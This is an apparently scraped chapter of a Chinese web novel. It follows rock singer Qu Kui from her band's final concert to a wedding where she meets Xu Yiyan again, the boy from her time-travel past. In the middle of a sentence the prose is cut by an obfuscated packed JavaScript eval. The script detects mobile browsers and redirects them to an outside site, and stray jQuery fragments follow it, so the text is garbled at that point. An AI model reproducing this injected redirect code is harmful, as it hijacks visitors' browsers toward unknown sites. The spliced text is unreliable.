这场属于烟灰乐队的最后一场巡演,万人空巷。观众席数不清的荧光棒,应援灯在黑暗中摇晃闪烁,乐迷高喊着乐队和成员的名字。 朝天的聚光灯在一声鼓声降落,照亮舞台上的四人,刹那观众激烈的尖叫声在夜空中久久回荡。 主唱是位女生,一身黑色皮衣短裙,长发也是墨一般的黑。聚光灯落在她脸上,露出的脖颈一截雪白衬得五官更加惊艳绝伦,握着话筒的指尖殷红,唇上的猩红色像摄人心魄的罂粟花,眼神热烈,看谁都多情。 “大家准备好了吗!”她拿起地方放在支架上的吉他,说,“要开始了哦!” 观众齐声回应准备好了。 聚光灯熄灭,舞台被夜包裹,随着轻缓吉他伴奏响起,深蓝色的灯光亮起来,舞台上喷出无数泡泡,整个鸟巢宛如被海水裹着,压抑,沉闷,让人不自觉憋住呼吸。 到这时其他乐器才逐渐加入。 主唱开口唱词。 潜向更深的海底 看见变成小丑鱼的自己 藏在光与暗的间隙里 用海水裹住,受伤鱼鳍 失落的灵魂,满身淤泥 死亡是否会远 你拉住下坠的我 该如何直面恐惧 命运要有多近 才能看清孤独碎裂 这支乐队在二零一二年在网络上爆火,当时他们还是即将高考的中学生,在学校举办的元旦晚会上唱了首名叫《坠入你的星球》的原创歌曲,据说还是主唱女生独自完成的创作,据说她唱完后,还忽然对着台下不知道谁喊了句我喜欢你。整个元旦晚会当时就炸开了锅。 那段视频后来被发到网上,至今都还能搜到。 …… 如果你愿意 我会奔向你 拿出我破除世间一切困难的勇气 坠入有你存在的星际 请让我聆听你 在阳光经过的寂静之处 我们生死同一 唱到后半段,几乎是万人群众的大合唱。而舞台灯光也从压抑沉闷的深蓝,转变为日光般的暖橙色。 都说痛苦死创作的源泉,曾经也有媒体采访问她能创作出这首歌,是不是因为曾经受过什么情伤,主唱的回答耐人寻味:“我只是曾历过一场如同梦境的旅行。” 采访想再问,她便说:“我过的很好,大家不用担心。” 演唱会一直持续到午夜十二点,观众离场,化妆室里,曲葵将脸上的妆卸干净,换上平时穿的衣服。 她从化妆室出去,商务车中,其余几人在等她。 门关上,程渡朝她递过来一张请帖。 曲葵挑眉:“你要结婚了?” “怎么可能。”程渡说,“高中一同学让我转交给你的请帖,说什么特别喜欢你的歌,希望你能去参加。” 曲葵接过请帖翻开,印入眼帘的名字有些眼熟。 “行。”她将请帖合上,“有空我会去的。” 一想到高中认识人的都结婚了,几人话题聊着聊着,转移到几年前。 聊起高考前四人上台唱歌,程渡不知想起什么,调侃:“说起来,你当年到底跟谁表白呢,这么多年也没见你谈过恋爱,不会当初告白被拒绝了吧。” 曲葵:“……” 当时和许一宴说什么“到未来找我”,怎样找?她都没给人家电话号码。别说后来自己还搬家了。 当初,她回到未来之后,第一反应就是从床上坐起来打许一宴电话,听着手机里漫长的嘟——嘟——声,她的心揪紧了,差点就沉到底,好在即将挂断的时候,接通了。 那边传来一声很轻的:“喂?” 变得更成熟了,也更好听。 曲葵没说出来话,因为喉咙紧缩,唯有热泪蓄满眼眶。 迟迟无人讲话,许一宴说:“我现在有点忙,请问有事吗?还是打错电话?” 曲葵呼吸有些急促,那边许一宴似乎听到了,顿了顿,“你……” 声音戛然而止,曲葵抬起手机一看,关机!! 再然后,就是长达一个月的几大城市巡演,她忙得不可开交,晚上两眼一闭就是睡,根本没机会打电话给许一宴。 曲葵没好气道:“滚吧,好奇我不如想想自己能什么时候成家。” 两周后的婚礼在扬明新开的五星级酒店举行。参加婚礼有部分是曲葵那届的学生,好几个将她认出来,上来又是敬酒又是要签名,曲葵不想喧哗夺主,穿得本来就低调,最后抬着酒杯走去了酒店二楼的露台,那儿黑,不会有什么人注意到她。 站了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085384|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟,身后传来皮鞋声响,是有人走进露台,站在另一侧。春夜风有些凉,曲葵发丝被从耳后吹落,挡住眼,又被她抬手别上。两人静默无声站了几分钟,期间曲葵用余光瞥了眼,是个身材高大的男人,穿着黑色西装。 朋友打电话问她去哪,曲葵挂了电话,抬着酒杯走出露台。此刻曲葵酒喝得有些多,半醉半醒,脚下的高跟鞋跟忽地一扭,她还未惊呼出声,便被扶住。 拖着她胳膊的手修长,指尖夹着几许微凉的风,曲葵抬起头,一句道谢的话还未说出口,变僵住了。 比记忆中长得高了几分,褪去少年青涩感,五官更加成熟立体,头发也长了许多,却怎么也挡住不住明亮好看的眼睛。 站在她对面的这个是,许一宴。 “你好,我来赴约。” 曲葵强忍流泪冲动,微笑和他碰杯,“好啊。” 酒杯与酒杯相撞,发出清脆一声咚,果汁在透明玻璃中翻涌,随后被一饮而尽。 “我等你很久了。” “嗯,我知道。” 两人在明亮球形灯光下相视一笑,满怀心腹事,尽在不言中。 过去的某个时间节点,十七岁的曲葵背着吉他翻出二楼窗户,因为踩坏花坛被妈妈发现,还是义无反顾地去追寻那个短暂的梦。她在快要跑出胡同口时,忽然停住脚步朝后看了一眼,静悄悄的小巷子,一个人影也没有,只有趋光的蛾子在振翅扑打蒙上灰的路灯灯罩。 “什么啊,还以为有人在看我。” 十七岁的她嘀咕,朝前大步跑去。 二十六岁的未来,她孑然一身回到曾生活十七年的扬明,在相册中翻到了那张已经忘记多年的,高中时期偷拍过的暗恋的男孩照片。而与此同时的九年前,十七岁的许一宴在梦里遇到二十六岁的曲葵。 那时的曲葵还不知道,这是她和一个曾经错过,本已逝去之人的命运转变的开始。 曲葵注视立在身前,一身西装的许一宴,忽然想起在多年前的某个时空里,许一宴问她的那个问题。 “你相信命运吗?” 她当时是如何回答的? 她的回答是—— “相信,但,也不相信。” 虽然会天黑,看不清一切,但太阳明日照常升起。 她也会坠落到有他存在的星球。